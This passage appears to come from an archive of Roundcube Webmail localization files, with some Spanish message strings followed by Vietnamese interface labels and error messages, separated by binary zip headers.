$messages['smtprecipientserror'] = 'Error SMTP: No es posible obtener la lista de destinatarios.';
$messages['smtperror'] = 'Error SMTP: $msg';
$messages['toomanyrecipients'] = 'Demasiados destinatarios. Reduzca el número de destinatarios a $max.';
$messages['maxgroupmembersreached'] = 'El número de miembros del grupo excede el máximo de $max.';
$messages['internalerror'] = 'Ha ocurrido un error interno. Por favor intenta de nuevo.';
$messages['contactdelerror'] = 'No se pudo eliminar el/los contacto(s).';
$messages['contactdeleted'] = 'Contacto(s) eliminados exitosamente';
$messages['contactrestoreerror'] = 'No se pudo restaurar los contacto(s) eliminados.';
$messages['contactrestored'] = 'Contacto(s) restaurados exitosamente.';
$messages['groupdeleted'] = 'Grupo eliminado exitosamente.';
$messages['grouprenamed'] = 'Grupo renombrado exitosamente.';
$messages['groupcreated'] = 'Grupo creado exitosamente.';
$messages['savedsearchdeleted'] = 'Búsqueda guardada eliminada exitosamente.';
$messages['savedsearchdeleteerror'] = 'No se pudo eliminar la búsqueda guardada.';
$messages['savedsearchcreated'] = 'Búsqueda guardada creada exitosamente.';
$messages['savedsearchcreateerror'] = 'No se puedo crear la búsqueda guardada.';
$messages['messagedeleted'] = 'Mensaje(s) eliminado(s) exitosamente.';
$messages['messagemoved'] = 'Mensaje(s) movido(s) exitosamente.';
$messages['messagecopied'] = 'Mensaje(s) copiado(s) exitosamente.';
$messages['messagemarked'] = 'Mensaje(s) marcado(s) exitosamente.';
$messages['autocompletechars'] = 'Ingrese al menos $min caracteres para el autocompletado.';
$messages['autocompletemore'] = 'No se han encontrado resultados. Por favor ingrese más caracteres.';
$messages['namecannotbeempty'] = 'El nombre no puede estar vacio.';
$messages['nametoolong'] = 'El nombre es demasiado largo.';
$messages['folderupdated'] = 'Carpeta actualizada exitosamente.';
$messages['foldercreated'] = 'Carpeta creada exitosamente.';
$messages['invalidimageformat'] = 'Formato de imagen no válido.';
$messages['mispellingsfound'] = 'Errores de gramática detectados en el mensaje.';
$messages['parentnotwritable'] = 'No se puede mover/crear la carpeta en la carpeta pariente seleccionada. No tiene derechos de acceso.';
$messages['messagetoobig'] = 'La parte del mensaje es demasiado grande para ser procesada.';
$messages['noscriptwarning'] = 'Atención: ¡Este servicio de Webmail requiere Javascript! Para usarlo por favor habilite Javascript en las opciones de su navegador.';
PK
h�\�H��bebe%program/localization/vi_VN/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Chào mừng bạn đã sử dụng $product';
$labels['username'] = 'Tên đăng nhập';
$labels['password'] = 'Mật khẩu';
$labels['server'] = 'Máy chủ';
$labels['login'] = 'Đăng nhập';
$labels['logout'] = 'Thoát';
$labels['mail'] = 'Thư';
$labels['settings'] = 'Thiết lập cấu hình';
$labels['addressbook'] = 'Sổ địa chỉ';
$labels['inbox'] = 'Hộp thư';
$labels['drafts'] = 'Thư nháp';
$labels['sent'] = 'Đã gửi';
$labels['trash'] = 'Thùng rác';
$labels['junk'] = 'Thư rác';
$labels['show_real_foldernames'] = 'Hiển thị tên thật cho các thư mục đặc biệt';
$labels['subject'] = 'Tiêu đề';
$labels['from'] = 'Gửi từ';
$labels['sender'] = 'Người gửi';
$labels['to'] = 'Người nhận';
$labels['cc'] = 'Đồng kính gửi';
$labels['bcc'] = 'Người đồng nhận (người nhận không thấy email của người khác cùng được nhận thư)';
$labels['replyto'] = 'Trả lời cho';
$labels['followupto'] = 'Đánh dấu thư cần theo dõi';
$labels['date'] = 'Ngày';
$labels['size'] = 'Dung lượng';
$labels['priority'] = 'Độ ưu tiên';
$labels['organization'] = 'Tổ chức';
$labels['readstatus'] = 'Trạng thái của thư';
$labels['listoptions'] = 'Danh sách lựa chọn';
$labels['mailboxlist'] = 'Các thư mục';
$labels['messagesfromto'] = 'Thư từ $from đến $to trong tổng số $count';
$labels['threadsfromto'] = 'Dòng thư từ $from đến $to của tổng số $count';
$labels['messagenrof'] = 'Thư thứ $nr trong tổng số $count';
$labels['fromtoshort'] = '$from - $to của $count';
$labels['copy'] = 'Sao chép';
$labels['move'] = 'Di Chuyển';
$labels['moveto'] = 'Di chuyển tới...';
$labels['copyto'] = 'Sao dữ liệu đến...';
$labels['download'] = 'Tải về';
$labels['open'] = 'Mở';
$labels['showattachment'] = 'Hiển thị';
$labels['showanyway'] = 'Tiếp tục hiển thị';
$labels['filename'] = 'Tên tập tin';
$labels['filesize'] = 'Kích cỡ tập tin';
$labels['addtoaddressbook'] = 'Thêm vào danh bạ';
$labels['sun'] = 'Chủ Nhật';
$labels['mon'] = 'Thứ Hai';
$labels['tue'] = 'Thứ Ba';
$labels['wed'] = 'Thứ Tư';
$labels['thu'] = 'Thứ Năm';
$labels['fri'] = 'Thứ Sáu';
$labels['sat'] = 'Thứ Bảy';
$labels['sunday'] = 'Chủ Nhật';
$labels['monday'] = 'Thứ Hai';
$labels['tuesday'] = 'Thứ Ba';
$labels['wednesday'] = 'Thứ Tư';
$labels['thursday'] = 'Thứ Năm';
$labels['friday'] = 'Thứ Sáu';
$labels['saturday'] = 'Thứ Bảy';
$labels['jan'] = 'Tháng Một';
$labels['feb'] = 'Tháng Hai';
$labels['mar'] = 'Tháng Ba';
$labels['apr'] = 'Tháng Tư';
$labels['may'] = 'Tháng Năm';
$labels['jun'] = 'Tháng Sáu';
$labels['jul'] = 'Tháng Bảy';
$labels['aug'] = 'Tháng Tám';
$labels['sep'] = 'Tháng Chín';
$labels['oct'] = 'Tháng Mười';
$labels['nov'] = 'Tháng Mười Một';
$labels['dec'] = 'Tháng Mười Hai';
$labels['longjan'] = 'Tháng Một';
$labels['longfeb'] = 'Tháng Hai';
$labels['longmar'] = 'Tháng Ba';
$labels['longapr'] = 'Tháng Tư';
$labels['longmay'] = 'Tháng Năm';
$labels['longjun'] = 'Tháng Sáu';
$labels['longjul'] = 'Tháng Bảy';
$labels['longaug'] = 'Tháng Tám';
$labels['longsep'] = 'Tháng Chín';
$labels['longoct'] = 'Tháng Mười';
$labels['longnov'] = 'Tháng Mười Một';
$labels['longdec'] = 'Tháng Mười Hai';
$labels['today'] = 'Hôm nay';
$labels['refresh'] = 'Nạp lại';
$labels['checkmail'] = 'Kiểm tra thư mới';
$labels['compose'] = 'Soạn thư';
$labels['writenewmessage'] = 'Viết thư mới';
$labels['reply'] = 'Trả lời thư';
$labels['replytomessage'] = 'Trả lời thư người gửi';
$labels['replytoallmessage'] = 'Trả lời lại danh sách hoặc tới tất cả người gửi và người nhận của thư này';
$labels['replyall'] = 'Trả lời tất cả';
$labels['replylist'] = 'Danh sách trả lời';
$labels['forward'] = 'Chuyển tiếp';
$labels['forwardinline'] = 'Chuyển tiếp thư';
$labels['forwardattachment'] = 'Chuyển tiếp theo phương cách đính kèm';
$labels['forwardmessage'] = 'Chuyển tiếp thư';
$labels['deletemessage'] = 'Xóa thư';
$labels['movemessagetotrash'] = 'Chuyển thư vào thùng rác';
$labels['printmessage'] = 'In thư này';
$labels['previousmessage'] = 'Hiển thị thư trước đó';
$labels['firstmessage'] = 'Hiển thị thư đầu tiên';
$labels['nextmessage'] = 'Hiển thị thư tiếp theo';
$labels['lastmessage'] = 'Hiển thị thư cuối';
$labels['backtolist'] = 'Quay lại danh sách thư';
$labels['viewsource'] = 'Hiển thị nguồn';
$labels['mark'] = 'Đánh dấu';
$labels['markmessages'] = 'Đánh dấu các thư';
$labels['markread'] = 'Là đã đọc';
$labels['markunread'] = 'Là chưa đọc';
$labels['markflagged'] = 'Là quan trọng';
$labels['markunflagged'] = 'Là không quan trọng';
$labels['moreactions'] = 'Thêm hành động...';
$labels['folders-all'] = 'Tất cả các thư mục';
$labels['more'] = 'Thêm';
$labels['back'] = 'Quay lại';
$labels['options'] = 'Tuỳ chọn';
$labels['first'] = 'Đầu';
$labels['last'] = 'Cuối';
$labels['previous'] = 'Trước';
$labels['next'] = 'Sau';
$labels['select'] = 'Lựa chọn';
$labels['all'] = 'Tất cả';
$labels['none'] = 'Không có';
$labels['currpage'] = 'Trang hiện tại';
$labels['isread'] = 'Đọc';
$labels['unread'] = 'Chưa đọc';
$labels['flagged'] = 'Đã đánh dấu';
$labels['unflagged'] = 'Không đánh dấu';
$labels['unanswered'] = 'Chưa trả lời';
$labels['withattachment'] = 'Có tệp tin đính kèm';
$labels['deleted'] = 'Đã xóa';
$labels['undeleted'] = 'Chưa xóa được';
$labels['replied'] = 'Đã trả lời';
$labels['forwarded'] = 'Đã chuyển tiếp';
$labels['invert'] = 'Đảo ngược';
$labels['filter'] = 'Soạn lọc';
$labels['list'] = 'Danh sách';
$labels['threads'] = 'Chủ đề thư';
$labels['expand-all'] = 'Mở rộng tất cả';
$labels['expand-unread'] = 'Mở rộng thư chưa đọc';
$labels['collapse-all'] = 'Đóng hết';
$labels['threaded'] = 'Đã nhóm theo chủ đề thư';
$labels['autoexpand_threads'] = 'Mở rộng các chủ đề thư';
$labels['do_expand'] = 'Tất cả các chủ đề thư';
$labels['expand_only_unread'] = 'Chỉ với những thư chưa đọc';
$labels['fromto'] = 'Từ/Đến';
$labels['flag'] = 'Đánh dấu';
$labels['attachment'] = 'Đính kèm';
$labels['nonesort'] = 'Không có';
$labels['sentdate'] = 'Ngày đã gửi';
$labels['arrival'] = 'Ngày đến';
$labels['asc'] = 'Tăng dần';
$labels['desc'] = 'Giảm dần';
$labels['listcolumns'] = 'Các cột danh sách';
$labels['listsorting'] = 'Cột sắp xếp';
$labels['listorder'] = 'Thứ tự sắp xếp';
$labels['listmode'] = 'Xem dạng danh sách';
$labels['layoutlist'] = 'Danh sách';
$labels['folderactions'] = 'Thao tác với thư mục';
$labels['compact'] = 'Nén';
$labels['empty'] = 'Trống';
$labels['importmessages'] = 'Nhập thư';
$labels['quota'] = 'Lượng đĩa sử dụng';
$labels['unknown'] = 'Không rõ';
$labels['unlimited'] = 'không giới hạn';
$labels['quotatype'] = 'Kiểu hạn ngạch';
$labels['quotatotal'] = 'Giới hạn';
$labels['quotaused'] = 'Đã dùng';
$labels['quotastorage'] = 'Dung lượng đĩa cứng';
$labels['quicksearch'] = 'Tìm nhanh';
$labels['resetsearch'] = 'Thiết lập lại tìm kiếm';
$labels['searchmod'] = 'Tìm kiếm với từ khóa và ký tự đặc biệt [() : " - ]';
$labels['msgtext'] = 'Toàn bộ thư';
$labels['body'] = 'Nội dung thư';
$labels['type'] = 'Định dạng';
$labels['namex'] = 'Họ tên';
$labels['searchscope'] = 'Phạm vi';
$labels['currentfolder'] = 'Thư mục hiện tại';
$labels['subfolders'] = 'Thư mục hiện tại và các thư mục con';
$labels['allfolders'] = 'Tất cả các thư mục';
$labels['openinextwin'] = 'Mở trong khung cửa mới';
$labels['emlsave'] = 'Tải về theo định dạng .eml';
$labels['changeformattext'] = 'Hiển thị ở chế độ text';
$labels['changeformathtml'] = 'Hiển thị ở chế độ HTML';
$labels['editasnew'] = 'Sửa như một email mới';
$labels['send'] = 'Gửi';
$labels['sendmessage'] = 'Gửi thư';
$labels['savemessage'] = 'Lưu dạng nháp';
$labels['addattachment'] = 'Kèm theo tập tin';
$labels['charset'] = 'Bộ ký tự';
$labels['editortype'] = 'Loại trình soạn thảo';
$labels['returnreceipt'] = 'Báo nhận';
$labels['dsn'] = 'Thông báo trạng thái gửi thư';
$labels['mailreplyintro'] = 'Vào ngày $date, $sender viết:';
$labels['originalmessage'] = 'Thư gốc';
$labels['selectimage'] = 'Chọn ảnh';
$labels['addimage'] = 'Thêm ảnh';
$labels['selectmedia'] = 'Chọn phim';
$labels['addmedia'] = 'Thêm phim';
$labels['insert'] = 'Chèn';
$labels['recipient'] = 'Người nhận';
$labels['editidents'] = 'Chỉnh sửa nhận diện';
$labels['spellcheck'] = 'Đánh vần';
$labels['checkspelling'] = 'Kiểm tra chính tả';
$labels['resumeediting'] = 'Tiếp tục soạn thảo';
$labels['revertto'] = 'Trở lại với';
$labels['restore'] = 'Khôi phục';
$labels['restoremessage'] = 'Khôi phục thư?';
$labels['responses'] = 'Các phản hồi';
$labels['insertresponse'] = 'Thêm một phản hồi';
$labels['manageresponses'] = 'Quản lý các phản hồi';
$labels['newresponse'] = 'Tạo phản hồi mới';
$labels['addresponse'] = 'Thêm phản hồi';
$labels['editresponse'] = 'Sửa phản hồi';
$labels['editresponses'] = 'Sửa các phản hồi';
$labels['responsename'] = 'Tên';
$labels['responsetext'] = 'Thông tin phản hồi';
$labels['attach'] = 'Đính kèm';
$labels['attachments'] = 'Các đính kèm';
$labels['upload'] = 'Tải lên';
$labels['uploadprogress'] = '$percent ($current của $total)
';
$labels['close'] = 'Đóng';
$labels['messageoptions'] = 'Tùy chọn cho thư...';
$labels['low'] = 'Thấp';
$labels['lowest'] = 'Thấp nhất';
$labels['normal'] = 'Bình thường';
$labels['high'] = 'Cao';
$labels['highest'] = 'Cao nhất';
$labels['nosubject'] = '(Không có chủ đề)';
$labels['showimages'] = 'Hiển thị ảnh';
$labels['alwaysshow'] = 'Luôn luôn hiển thị ảnh từ $sender';
$labels['isdraft'] = 'Đây là thư nháp';
$labels['andnmore'] = 'Thêm $nr';
$labels['togglemoreheaders'] = 'Hiển thị chi tiết thông tin thư';
$labels['togglefullheaders'] = 'Mở/đóng chi tiết thông tin thư';
$labels['htmltoggle'] = 'Mã HTML';
$labels['plaintoggle'] = 'Văn bản thô';
$labels['savesentmessagein'] = 'Lưu thư đã gửi trong';
$labels['dontsave'] = 'Không lưu';
$labels['maxuploadsize'] = 'Dung lượng tập tin tối đa cho phép là $size';
$labels['addcc'] = 'Thêm Cc';
$labels['addbcc'] = 'Thêm Bcc';
$labels['addreplyto'] = 'Thêm trả lời tới';
$labels['addfollowupto'] = 'Thêm sự theo dõi tới';
$labels['mdnrequest'] = 'Người gửi thư này muốn nhận được thông báo khi bạn đọc thư. Bạn có muốn cho người gửi biết thông báo này không?';
$labels['receiptread'] = 'Biên nhận (đã đọc)';
$labels['yourmessage'] = 'Đây là sự trả lại xác nhận cho thư của bạn';
$labels['receiptnote'] = 'Lưu ý: Biên nhận này chỉ báo rằng thư đã được hiển thị trên máy tính của người nhận. Không bảo đảm rằng người nhận đó đã có đọc hoặc hiểu nội dung thư.';
$labels['name'] = 'Tên hiển thị';
$labels['firstname'] = 'Tên Gọi';
$labels['surname'] = 'Tên Họ';
$labels['middlename'] = 'Tên đệm';
$labels['nameprefix'] = 'Tiền tố';
$labels['namesuffix'] = 'Hậu tố';
$labels['nickname'] = 'Biệt danh';
$labels['jobtitle'] = 'Chức danh Công việc';
$labels['department'] = 'Khoa/Ban';
$labels['gender'] = 'Giới tính';
$labels['maidenname'] = 'Tên thời con gái';
$labels['email'] = 'Thư điện tử';
$labels['phone'] = 'Điện thoại';
$labels['address'] = 'Địa chỉ';
$labels['street'] = 'Đường';
$labels['locality'] = 'Thành phố';
$labels['zipcode'] = 'Mã bưu điện';
$labels['region'] = 'Bang/Tỉnh';
$labels['country'] = 'Quốc gia';
$labels['birthday'] = 'Ngày sinh';
$labels['anniversary'] = 'Kỷ niệm';
$labels['website'] = 'Trang Web';
$labels['instantmessenger'] = 'Tin nhắn nhanh';
$labels['notes'] = 'Các ghi chú';
$labels['male'] = 'Nam';
$labels['female'] = 'Nữ';
$labels['manager'] = 'Người quản lý';
$labels['assistant'] = 'Trợ lý';
$labels['spouse'] = 'Vợ/Chồng';
$labels['allfields'] = 'Tất cả các lĩnh vực';
$labels['search'] = 'Tìm kiếm';
$labels['searchresult'] = 'Kết quả tìm kiếm';
$labels['advsearch'] = 'Tìm kiếm chi tiết';
$labels['advanced'] = 'Nâng cao';
$labels['other'] = 'Loại khác';
$labels['typehome'] = 'Thư mục chính';
$labels['typework'] = 'Cơ quan';
$labels['typeother'] = 'Loại khác';
$labels['typemobile'] = 'Số di động';
$labels['typemain'] = 'Chính';
$labels['typehomefax'] = 'Điện thư ở Nhà';
$labels['typeworkfax'] = 'Điện thư cơ quan';
$labels['typecar'] = 'Xe';
$labels['typepager'] = 'Máy nhắn tin';
$labels['typevideo'] = 'Phim';
$labels['typeassistant'] = 'Trợ lý';
$labels['typehomepage'] = 'Trang nhà';
$labels['typeblog'] = 'Trang nhật ký';
$labels['typeprofile'] = 'Lý lịch';
$labels['addfield'] = 'Thêm lĩnh vực...';
$labels['addcontact'] = 'Thêm liên hệ';
$labels['editcontact'] = 'Sửa liên lạc';
$labels['contacts'] = 'Danh bạ';
$labels['contactproperties'] = 'Tính chất của liên hệ';
$labels['contactnameandorg'] = 'Tên và tổ chức';
$labels['personalinfo'] = 'Thông tin cá nhân';
$labels['personal'] = 'Cá nhân';
$labels['contactphoto'] = 'Ảnh của người liên hệ';
$labels['edit'] = 'Chỉnh sửa';
$labels['cancel'] = 'Huỷ';
$labels['save'] = 'Lưu';
$labels['delete'] = 'Xóa';
$labels['rename'] = 'Đổi tên';
$labels['addphoto'] = 'Thêm';
$labels['replacephoto'] = 'Thay thế';
$labels['uploadphoto'] = 'Tải ảnh lên';
$labels['newcontact'] = 'Tạo liên hệ mới';
$labels['deletecontact'] = 'Xoá các liên lạc đã chọn';
$labels['composeto'] = 'Soạn thư cho';
$labels['contactsfromto'] = 'Liên hệ từ $from - $to / $count';
$labels['print'] = 'In ra';
$labels['export'] = 'Trích xuất';
$labels['exportall'] = 'Xuất tất cả';
$labels['exportsel'] = 'Xuất mục chọn';
$labels['exportvcards'] = 'Tải dữ liệu máy theo định dạng vCard';
$labels['newgroup'] = 'Tạo nhóm mới';
$labels['addgroup'] = 'Thêm nhóm';
$labels['grouprename'] = 'Đổi tên nhóm';
$labels['groupdelete'] = 'Xóa nhóm';
$labels['groupremoveselected'] = 'Xóa bỏ các liên lạc được chọn từ nhóm';
$labels['uponelevel'] = 'Lên một mức';
$labels['previouspage'] = 'Hiển thị trang trước';
$labels['firstpage'] = 'Hiển thị trang đầu tiên';
$labels['nextpage'] = 'Hiển thị trang kế tiếp';
$labels['lastpage'] = 'Hiển thị trang cuối';
$labels['group'] = 'Nhóm';
$labels['groups'] = 'Các nhóm';
$labels['listgroup'] = 'Danh sách các thành viên nhóm';
$labels['personaladrbook'] = 'Các địa chỉ cá nhân';
$labels['searchsave'] = 'Lưu tìm kiếm';
$labels['searchdelete'] = 'Xóa tìm kiếm';
$labels['import'] = 'Nhập';
$labels['importcontacts'] = 'Nhập liên lạc';
$labels['importtarget'] = 'Thêm các địa chỉ liên hệ vào';
$labels['importreplace'] = 'Thay thế toàn bộ sổ địa chỉ';
$labels['importgroups'] = 'Nhập nhóm';
$labels['importgroupsall'] = 'Tất cả (tạo nhóm nếu cần thiết)';
$labels['importgroupsexisting'] = 'Chỉ dành cho các nhóm đang tồn tại';
$labels['done'] = 'Hoàn tất';
$labels['settingsfor'] = 'Thiết lập cho';
$labels['about'] = 'Lời ngõ';
$labels['preferences'] = 'Sở thích';
$labels['userpreferences'] = 'Sở thích người dùng';
$labels['editpreferences'] = 'Chỉnh sửa sở thích';
$labels['identities'] = 'Các nhận diện';
$labels['preferhtml'] = 'Hiển thị HTML';
$labels['defaultcharset'] = 'Bộ ký tự mặc định';
$labels['htmlmessage'] = 'Thư theo định dạng HTML';
$labels['messagepart'] = 'Một phần';
$labels['digitalsig'] = 'Chữ ký điện tử';
$labels['dateformat'] = 'Định dạng ngày tháng';
$labels['timeformat'] = 'Định dạng thời gian';
$labels['prettydate'] = 'Ngày tháng đầy đủ';
$labels['setdefault'] = 'Thiết lập mặc định';
$labels['autodetect'] = 'Tự động';
$labels['language'] = 'Ngôn ngữ';
$labels['timezone'] = 'Múi giờ';
$labels['pagesize'] = 'Số dòng trên trang';
$labels['signature'] = 'Chữ ký';
$labels['dstactive'] = 'Giờ mùa hè';
$labels['showinextwin'] = 'Mở thư trong khung mới';
$labels['composeextwin'] = 'Soạn thư trong khung mới';
$labels['htmleditor'] = 'Soạn thư dạng HTML';
$labels['htmlonreply'] = 'Chỉ trả lời lại bằng thư HTML';
$labels['htmlonreplyandforward'] = 'Khi chuyển tiếp hoặc trả lời thư theo định dạng HTML';
$labels['htmlsignature'] = 'Chữ ký HTML';
$labels['showemail'] = 'Hiển thị địa chỉ email kèm theo tên ';
$labels['previewpane'] = 'Hiển thị ô Xem thử';
$labels['skin'] = 'Bề mặt giao diện';
$labels['logoutclear'] = 'Xóa sạch rác khi thoát';
$labels['logoutcompact'] = 'Nén gọn hộp thư lại khi thoát';
$labels['uisettings'] = 'Giao diện người dùng';
$labels['serversettings'] = 'Thiết lập máy chủ';
$labels['mailboxview'] = 'Trình cảnh hộp thư';
$labels['mdnrequests'] = 'Yêu cầu gửi lại biên nhận';
$labels['askuser'] = 'Hỏi tôi';
$labels['autosend'] = 'Gửi biên nhận';
$labels['autosendknown'] = 'Gửi biên nhận tới liên lạc của tôi, nếu không thì hỏi tôi';
$labels['autosendknownignore'] = 'Gửi biên nhận tới liên lạc của tôi, nếu không thì bỏ qua';
$labels['readwhendeleted'] = 'Đánh dấu thư là đã đọc khi xóa';
$labels['flagfordeletion'] = 'Đánh dấu thư để xóa thay vì xóa liền';
$labels['skipdeleted'] = 'Không hiển thị thư đã xóa';
$labels['deletealways'] = 'Nếu việc chuyển thư vào thùng rác bị lỗi thì xóa luôn.';
$labels['deletejunk'] = 'Trực tiếp xóa các thư rác trong thùng Junk';
$labels['showremoteimages'] = 'Hiển thị ảnh nội tuyến từ xa';
$labels['fromknownsenders'] = 'Từ người gửi đã biết';
$labels['always'] = 'luôn luôn';
$labels['showinlineimages'] = 'Hiển thị ảnh đính kèm phía dưới thư';
$labels['autosavedraft'] = 'Tự động lưu bản nháp';
$labels['everynminutes'] = '$n phút một lần';
$labels['refreshinterval'] = 'Tải dữ liệu mới (ví dụ: kiểm tra thư mới)';
$labels['never'] = 'không bao giờ';
$labels['immediately'] = 'ngay lập tức';
$labels['messagesdisplaying'] = 'Đang hiển thị thư';
$labels['messagescomposition'] = 'Đang viết thư';
$labels['mimeparamfolding'] = 'Tên đính kèm';
$labels['2231folding'] = 'RFC 2231 đầy đủ (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 đầy đủ (khác)';
$labels['force7bit'] = 'Sử dụng MIME mã hóa cho ký tự 8-bit';
$labels['advancedoptions'] = 'Tùy chọn tính năng cao hơn';
$labels['focusonnewmessage'] = 'Tập trung khung cửa trình duyệt vào thư mới';
$labels['checkallfolders'] = 'Kiểm tra thư mới trong tất cả thư mục';
$labels['defaultfont'] = 'Phông chữ mặc định của thư có mã HTML';
$labels['mainoptions'] = 'Tùy chọn chính';
$labels['browseroptions'] = 'Tùy chọn Trình duyệt';
$labels['section'] = 'Phần';
$labels['maintenance'] = 'Bảo trì';
$labels['newmessage'] = 'Thư mới';
$labels['signatureoptions'] = 'Tuỳ chọn chữ ký';
$labels['whenreplying'] = 'Khi trả lời';
$labels['replyempty'] = 'Không mở/đóng ngoạc nội dung bản thư gốc';
$labels['replytopposting'] = 'Viết nội dung thư mới bên trên nội dung thư cũ';
$labels['replybottomposting'] = 'Viết nội dung thư mới bên dưới nội dung thư cũ';
$labels['replyremovesignature'] = 'Khi trả lời bỏ chữ ký cũ khỏi nội dung thư';
$labels['autoaddsignature'] = 'Tự động thêm chữ ký';
$labels['newmessageonly'] = 'chỉ thư mới';
$labels['replyandforwardonly'] = 'chỉ trả lời và chuyển tiếp thư';
$labels['insertsignature'] = 'Chèn chữ ký';
$labels['afternseconds'] = 'sau $n giây';
$labels['reqmdn'] = 'Luôn luôn yêu cầu biên nhận khi gửi thư';
$labels['reqdsn'] = 'Luôn yêu cầu xác nhận trạng thái thư cho người gửi';
$labels['replysamefolder'] = 'Đưa các thư phản hồi  vào cùng thư mục của thư đang trả lời';
$labels['defaultabook'] = 'Sổ địa chỉ mặc định';
$labels['autocompletesingle'] = 'Bỏ qua địa chỉ email thay thế trong năng tự động gõ';
$labels['listnamedisplay'] = 'Hiện thị danh sách liên lạc như là';
$labels['spellcheckbeforesend'] = 'Kiểm tra chính tả trước khi gửi thư';
$labels['spellcheckoptions'] = 'Tùy chọn kiểm tra chính tả';
$labels['spellcheckignoresyms'] = 'Bỏ qua từ kèm biểu tượng';
$labels['spellcheckignorenums'] = 'Bỏ qua các từ kèm số';
$labels['spellcheckignorecaps'] = 'Bỏ qua các từ được viết hoa';
$labels['addtodict'] = 'Thêm vào từ điển';
$labels['mailtoprotohandler'] = 'Xác định cách xử lý giao thức mailto: liên kết';
$labels['standardwindows'] = 'Mở các popup như là các cửa sổ thông thường';
$labels['forwardmode'] = 'Chuyển tiếp thư';
$labels['inline'] = 'nội tuyến';
$labels['asattachment'] = 'dạng gửi kèm';
$labels['replyallmode'] = 'Thao tác mặc định cho nút [Trả lời tất cả]';
$labels['replyalldefault'] = 'Trả lời tất cả';
$labels['replyalllist'] = 'Chỉ gửi trả lời đến danh sách thư (nếu có tồn tại)';
$labels['allmessages'] = 'Tất cả tin nhắn';
$labels['folder'] = 'Thư mục';
$labels['folders'] = 'Các thư mục';
$labels['foldername'] = 'Tên thư mục';
$labels['subscribed'] = 'Đã đăng ký';
$labels['messagecount'] = 'Các tin nhắn';
$labels['create'] = 'Tạo';
$labels['createfolder'] = 'Tạo thư mục mới';
$labels['managefolders'] = 'Quản lý các thư mục';
$labels['specialfolders'] = 'Thư mục đặc biệt';
$labels['properties'] = 'Các thuộc tính';
$labels['folderproperties'] = 'Thuộc tính thư mục';
$labels['parentfolder'] = 'Thư mục cha';
$labels['location'] = 'Địa điểm';
$labels['info'] = 'Thông tin';
$labels['getfoldersize'] = 'Nhấp chuột để xem kích thước thư mục';
$labels['changesubscription'] = 'Nhấp chuột để đổi cách đóng góp';
$labels['foldertype'] = 'Kiểu thư mục';
$labels['personalfolder'] = 'Thư mục cá nhân';
$labels['otherfolder'] = 'Thư mục khác của Người dùng';
$labels['sharedfolder'] = 'Thư mục công khai';
$labels['findfolders'] = 'Tìm các thư mục';
$labels['namespace.personal'] = 'Cá nhân';
$labels['namespace.other'] = 'Các người dùng khác';
$labels['namespace.shared'] = 'Đã chia sẻ';
$labels['sortby'] = 'Soạn theo';
$labels['sortasc'] = 'Soạn tăng dần';
$labels['sortdesc'] = 'Soạn giảm dần';
$labels['undo'] = 'Hoàn lại';
$labels['installedplugins'] = 'Các chương trình phụ trợ đã được cài đặt';
$labels['plugin'] = 'Phần bổ sung';
$labels['version'] = 'Phiên bản';
$labels['source'] = 'Nguồn';
$labels['license'] = 'Bản quyền';
$labels['support'] = 'Yêu cầu hỗ trợ';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Tiếng Anh';
$labels['westerneuropean'] = 'Tiếng Tây Âu';
$labels['easterneuropean'] = 'Tiếng Đông Âu';
$labels['southeasterneuropean'] = 'Tiếng Đông-Nam Âu';
$labels['baltic'] = 'Tiếng Ban-tích (Ấn-Âu)';
$labels['cyrillic'] = 'Tiếng Ki-rin';
$labels['arabic'] = 'Tiếng Ả Rập';
$labels['greek'] = 'Tiếng Hy Lạp';
$labels['hebrew'] = 'Tiếng Do Thái';
$labels['turkish'] = 'Tiếng Thổ Nhĩ Kỳ';
$labels['nordic'] = 'Tiếng Bắc Âu';
$labels['thai'] = 'Tiếng Thái Lan';
$labels['celtic'] = 'Tiếng Xen-tơ';
$labels['vietnamese'] = 'Tiếng Việt';
$labels['japanese'] = 'Tiếng Nhật';
$labels['korean'] = 'Tiếng Hàn';
$labels['chinese'] = 'Tiếng Hoa';
$labels['arialabeltopnav'] = 'Điều khiển cửa sổ';
$labels['arialabelmailpreviewframe'] = 'Xem trước thư';
$labels['arialabelmessagebody'] = 'Nội dung thư';
$labels['arialabelforwardingoptions'] = 'Các lựa chọn chuyển tiếp thư';
$labels['arialabelreplyalloptions'] = 'Các lựa chọn trả lời tất cả';
$labels['arialabelmarkmessagesas'] = 'Đánh dấu thư đã chọn như...';
$labels['arialabelattachmentpreview'] = 'Xem trước tệp tin đính kèm';
PK
h�\x��3�3'program/localization/vi_VN/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Có lỗi xảy ra.';
$messages['loginfailed']  = 'Không đăng nhập được';
$messages['cookiesdisabled'] = 'Trình duyệt không hỗ trợ cookies';
$messages['sessionerror'] = 'Phiên làm việc không hợp lệ hoặc đã hết hạn';
$messages['storageerror'] = 'Không kết nối được với máy chủ.';
$messages['servererror'] = 'Lỗi máy chủ';
$messages['servererrormsg'] = 'Lỗi máy chủ: $msg';
$messages['connerror'] = 'Lỗi kết nối (không kết nối được đến máy chủ)';
$messages['dberror'] = 'Lỗi cơ sở dữ liệu';
$messages['windowopenerror'] = 'Cửa sổ thông tin bật lên bị chặn';
$messages['requesttimedout'] = 'Yêu cầu hết  hạn';
$messages['errorreadonly'] = 'Không thể thực hiện thao tác. Thư mục chỉ cho phép đọc.';
$messages['errornoperm'] = 'Bạn không đủ quyền hạn để thực hiện thao tác này.';
